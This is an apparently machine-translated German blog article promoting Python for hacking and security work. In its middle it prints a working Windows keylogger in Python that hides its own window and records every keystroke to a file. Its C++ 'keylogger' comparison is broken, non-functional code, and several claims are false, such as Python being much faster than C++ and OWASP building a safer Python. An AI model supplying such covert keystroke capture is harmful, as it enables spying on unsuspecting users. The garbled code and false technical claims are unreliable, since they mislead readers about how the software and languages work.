Gray Hat Python - Vor zwei Jahren beschäftigte ich mich mit Programmiersprachen und las über C, C ++, Assembly, Python und Ruby. Ich wollte Experte für Cybersicherheit werden. Also fing ich an, so viel wie möglich zu lernen. Angefangen mit C, C ++ und C # als Grundlagen, und nachdem ich viele Programme und Viren gelernt und kompiliert hatte, lernte ich endlich Kali Linux. Für diejenigen, die nicht wissen, was Kali Linux ist, ist es ein Betriebssystem für Penetrationstests. Also habe ich meine Studien fortgesetzt und festgestellt, dass die meisten Programme, Viren und Trojaner in Python kompiliert wurden und ihre Basis Ruby ist.

Also habe ich mein Studium vorerst abgebrochen und angefangen, Python oder genauer gesagt Gray Hat Python und Tadaa zu lernen… Im Vergleich zu C, C # oder einer anderen Sprache, die ich gelernt habe, war es extrem einfach. Schließlich erfuhr ich, warum Python die am häufigsten verwendete Sprache war und wie es berühmt wurde.
Daher würde ich heute darüber diskutieren, wie Python in Gray Hat Python umgewandelt wurde und warum es so häufig verwendet wird, dass sogar Google und YouTube es in ihrer Datenbank verwenden, um so genaue Suchergebnisse wie möglich zu liefern.

Anfänglich ist Python eine High-Level-Programmiersprache, was bedeutet, dass die Syntax auch für Anfänger extrem einfach zu lesen ist. Wenn Sie neu in der Programmierung sind, ist dies die Sprache, mit der Sie anfangen sollten. Lassen Sie mich Ihnen ein Beispiel geben:

So sieht es in C aus:

#include

int main()
(
printf("Hello world\n");
return 0;
)

So sieht es in Java aus:

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


Und so sieht es in Python aus (v2.7)

print "Hello World"

Einfach? Ja ist es. Python war also nicht nur einfach zu schreiben und zu verstehen, sondern auch sehr kompakt. Sie fragen sich vielleicht, wie dies zu Gray Hat Python geführt hat?

Empfohlene Kurse

  • IP-Routing-Schulung
  • Hacking-Schulung
  • Schließen Sie das RMAN-Training ab
  • Python-Programmierschulung

Python gegen Gray Hat Python

Was genau ist Gray Hat Python? Warum ist es so anders als unser normales Python? Die Sache ist, dass Gray Hat Python nichts anderes ist als Programme, die von Hackern, Netzwerk-Stresstestern und Reverse Engineers in Python geschrieben wurden, um ein Programm zu erstellen oder zu knacken. Aber der Begriff Gray Hat wird verwendet, weil es sich nicht gerade um eine nützliche oder Anwendersoftware handelt. Es wird zum Sichern oder Erstellen einer sicherheitsrelevanten Software verwendet.

Es kann problemlos zum Testen der Einschränkungen einer sicheren Umgebung oder zum Einbrechen in eine sichere Umgebung verwendet werden. Das ist es, was Gray Hat bedeutet. Und es ist viel einfacher, es in Python zu tun, als es in C, C ++ oder Java zu tun. Daher der Name Gray Hat Python. Einige Beispiele, die mir einfallen, sind:

• Schreiben von Key-Loggern (für Hacker und Pentester)
• Schreiben von Security Shell-Skripten (für Netzwerkadministratoren)
• Erstellen eines automatisierten IDS (Intrusion Detection System für Sicherheitsingenieure)

Jetzt wissen Sie, warum und wie nützlich Gray Hat Python ist. Um dies zu erläutern, möchte ich Ihnen einige detaillierte Beispiele geben.
Möglicherweise haben Sie von Google App Engine gehört. Google App Engine wurde ursprünglich in Python entwickelt, bevor es portiert wurde. Google App ist ein gutes Beispiel für ein Programm, das in Python geschrieben wurde, da es das Erstellen von Webanwendungen mit seiner umfangreichen High-End-Sammlung von Bibliotheken, Tools und Frameworks ermöglicht.

Überhaupt gewundert, warum es so einfach ist, etwas in Google zu suchen? Meistens erhalten Sie Suchergebnisse, die zu 80% genau sind. Dies liegt daran, dass Python extrem flexibel ist, mit hoher Geschwindigkeit arbeitet und die Datenbanken viel kompakter sind, obwohl sie eine Vielzahl von Informationen speichern. Python ist so erweiterbar, dass es sogar von YouTube zum Anzeigen von Videos, Steuern von Vorlagen, Verwalten von Videos, Zugreifen auf kanonische Daten und vielem mehr verwendet wird.

Google hat seine Crawler und Spider, die Daten sammeln, sobald sie im Web hochgeladen werden, egal wo oder wie sicher sie sind. Man braucht nur eine angemessene Inspiration, Zeit und Wissen, um diese Informationen zu sammeln.

Die Google-Suche basierte zuvor auf Python, das später zur Geschwindigkeitsoptimierung in C ++ geändert wurde, da Google-Crawler viele Seiten pro Sekunde crawlen und jeder von ihnen einige Minuten benötigt, um erfolgreich zu crawlen. Python ist derzeit viel schneller als C ++, aber das war vor einigen Jahrzehnten nicht der gleiche Fall.

Es gab ein berühmtes Zitat von Google: -
"Python wo wir können, C ++ wo wir müssen."

Sie fragen sich vielleicht, wie dies für Hacking, Pentesting und Netzwerksicherheit verwendet werden kann. Ich bin anderer Ansicht. Wenn Sie ein Programm erstellen könnten, das zu 70-80% zu effizienten Suchergebnissen führt, könnten Sie wahrscheinlich eine Anwendung erstellen, die Websites verbindet, intelligent sucht und ein Profil einer Person erstellt, das eher von Individual Black Hats verwendet werden kann für böswillige Zwecke. Lassen Sie die Einzelpersonen beiseite, eine, die klug genug ist, um auf einfache Weise eine Anwendung zum Erstellen eines Unternehmensprofils zu erstellen. Der gesamte Baum von der Wurzel bis zu allem, was Sie sich vorstellen können.

Informationsbeschaffung über Maltego

Sie denken vielleicht, dass ich ein bisschen übertreibe. Nein, ich bin NICHT!

Denken Sie an Beispiele wie Maltego. Maltego ist eine Software, oder ich kann sie besser als Open-Source-Forensik-Anwendung umformulieren. Sie wurde entwickelt, um Informationen zu sammeln und das Profil von Personen, Unternehmen und anderen Unternehmensagenturen zu erstellen.

Man muss nur die richtigen Daten in die App eingeben, und der Rest von Dingen wie das Verknüpfen von E-Mails, Personen, Personengruppen und sogar das Bestimmen der Internetinfrastruktur wie Domänen, DNS-Namen, Netblocks und IP-Adressen kann mithilfe dieser Open-Source-Intelligenz verknüpft und miteinander verbunden werden .

Weitere Informationen erhalten Sie unter Was ist Maltego?

Wenn der Zugriff auf "Geheime Informationen" Ihren Erfolg bestimmt, kann Maltego Ihnen helfen, diese herauszufinden. Maltego ist teilweise in Python geschrieben und verwendet auch Java, was wiederum eine großartige Sprache ist.

Soviel zum Thema Sicherheit von Google. Genauer gesagt, Google ist die Methode, mit der Sie sich im Web am wenigsten anonym halten können, unabhängig davon, ob Sie inkognito oder www.duckduckgo.com aus Chrome verwenden. Denn letztendlich wird alles im Web aktualisiert. Der Punkt hier ist, es geht nicht um Unverwundbarkeit, es geht darum, absolut verwundbar zu sein. Man kann sich nicht vollständig aus dem Internet herauswischen. Man kann aber sicher versuchen, so wenig Informationen wie möglich im Web zu haben.

Python ist nicht nur eine Sprache, sondern eine Skriptsprache. Mithilfe von Skriptsprachen können Sie eigene Tools schreiben und modifizieren, wenn Sie etwas Kundenspezifischeres benötigen. Diese Netzwerksicherheitstools sind aus Gründen der Erweiterbarkeit stark von der Skriptsprache abhängig. Nehmen wir zum Beispiel Scapy.

Scapy ist rein in Python geschrieben. Es ist ein leistungsstarkes interaktives Paketmanipulationswerkzeug. Es kann selbst gefälschte Pakete generieren, Netzwerke scannen und sogar Pakete im Netzwerk aufspüren.

Finden Sie detaillierte Informationen über Was ist Scapy?

Nun sind dies komplexe Programme, die von fortgeschrittenen Programmierern geschrieben wurden. Lassen Sie uns sehen, wie einfach es ist, ein Programm in Python zu schreiben, das für Leute mit guten Programmierkenntnissen leicht verständlich ist.

Dies ist ein in Python geschriebener Keylogger:

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Das ist also weit mehr als einfach, wenn Sie mich fragen. Ich habe einfach die Module pyhook, Pythoncom, win32gui und win32console hinzugefügt, die Sie einfach von der sourceforge-Website herunterladen können, und ich habe die Kommentare mit dem Hash-Tag erwähnt. Aber wenn ich das gleiche Programm in C ++ schreiben muss, wollen wir sehen, wie schwer das sein kann.

Dies ist ein in C ++ geschriebenes Programm: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Das ist also ziemlich groß im Vergleich zu Python. Und wenn es um Effizienz geht, kann Python mit der py2exe-Software mühelos zu einer ausführbaren Datei kompiliert werden. Wenn ich über C ++ spreche, dann ist dieser Code ehrlich gesagt ein Witz. Um einen richtigen Key Logger zu schreiben, muss eine DLL geschrieben werden, die den WH_KEYBOARD-Hook implementiert. Außerdem ist dieser Code für Anfänger keineswegs leicht zu verstehen.

Open Source Hacking

Jetzt kümmert sich das um Black-Hat-Hacker, genauer gesagt die Leute, die Daten zerstören und für ihre eigenen Bedürfnisse manipulieren wollen. Aus Sicht der Sicherheitsbedenken ist Python auch nützlich für White-Hat-Hacker, die die Gesellschaft vor den Angriffen böswilliger Hacker schützen möchten. Wenn Sie Karriere machen oder zumindest Python für die Sicherheitsforschung erlernen möchten, können Sie sich mit OWASP, BRO oder Quick NIX Secure Script vertraut machen.

OWASP ist Open Web Application Security Project. OWASP zielt darauf ab, eine sicherere Version von Python zu erstellen, die es Sicherheitsexperten und Entwicklern erleichtert, Software zu schreiben, die weniger anfällig für Hackerangriffe ist. Es steht im Zusammenhang mit der Black-Box-Analyse, mit der sicherheitsrelevante Probleme identifiziert und behoben werden, die den interaktiven Interpreter von Python betreffen können.

BRO ist ein Programm zur Überwachung der Netzwerksicherheit und des Datenverkehrs, während Quick NIX verwendet wird, um Dateieigentum im laufenden Betrieb zu sichern und zu sichern.

Da es sich um Sicherheit handelt, sprechen wir über ein Betriebssystem, das teilweise auf Python basiert. Python funktioniert hervorragend mit UNIX, LINUX und Debian. Eines der bekanntesten Betriebssysteme war Backtrack 5. Es wurden verschiedene Versionen veröffentlicht. Es wurde speziell für PenTesting entwickelt. Später dachten die Mitarbeiter von Offensive Security, Backtrack müsse neu gestartet werden, da die meisten Tools entweder nicht ordnungsgemäß funktionierten oder nicht unterstützt wurden.

Später veröffentlichten sie Kali Linux, das vollständig auf Debian basierte. Und die meisten Frameworks sind entweder in Ruby oder Python. Ruby ist auch eine großartige Skriptsprache. Aber ich würde Python immer vorziehen, der Grund dafür ist, dass Python eine vielfältigere Community mit Linux hat und direkter und einfacher zu debuggen ist. Obwohl Ruby eine Vielzahl von Funktionen bietet und sich schnell an die Umgebung anpasst, kann es schwierig zu debuggen, schwer zu lesen und ausgefeilter als Python sein.

Das beste Beispiel wäre ein Vergleich zwischen Apple und Linux oder ein Vergleich zwischen iPhone und Android. Apple ist reich an Ressourcen und ist extrem geschmeidig und ist eher auf Anfänger ausgerichtet. Während Linux / Android benutzerfreundlicher ist, ist es ein bisschen langweilig und kann manchmal Kopfzerbrechen bereiten, wenn Sie nicht wissen, wie Sie es konfigurieren oder warten sollen.

Es gibt sogar ein Buch, das auf Python Gray Hat Hacking von Justin Seitz basiert. Es befasst sich speziell mit der Automatisierung mühsamer Reverse Engineering- und sicherheitsrelevanter Aufgaben, dem Entwerfen eines eigenen Debuggers, der Bibliotheks- und DLL-Injektion, dem Abhören von sicherem Datenverkehr über eine verschlüsselte Sitzung und der Verwendung von Immunity-Debugger, Sulley und vielem mehr. Es ist ein großartiges Buch, egal ob Sie Anfänger oder Experte sind, Sie werden immer das eine oder andere lernen, wenn Sie es lesen.

Fazit

Wenn Sie ein Anfänger sind, ist Python die richtige Wahl, wenn Sie als erste Programmiersprache für Sicherheitstests beginnen.

Denken Sie am Ende daran, dass Gray Hat Python nicht nur eine Sprache ist, sondern auch eine Methode, um Dinge auf korrekte und schnelle Weise zu erledigen.

Erste Bildquelle: pixabay.com

In Verbindung stehende Artikel:-

In den folgenden Artikeln erfahren Sie mehr über Gray Hat Python. Klicken Sie einfach auf den Link.

  1. Vorteile von Cybersicherheitstools Sie müssen sich bewusst sein
  2. Karriere in Python
  3. Top 25 Amazing Python Interview Fragen und Antworten
  4. Was sind die Vor- und Nachteile von Python?
  5. Python gegen Node.js
  6. Leitfaden für Fragen zu Cybersicherheitsinterviews
  7. Verschiedene Arten von Tools für Sicherheitstests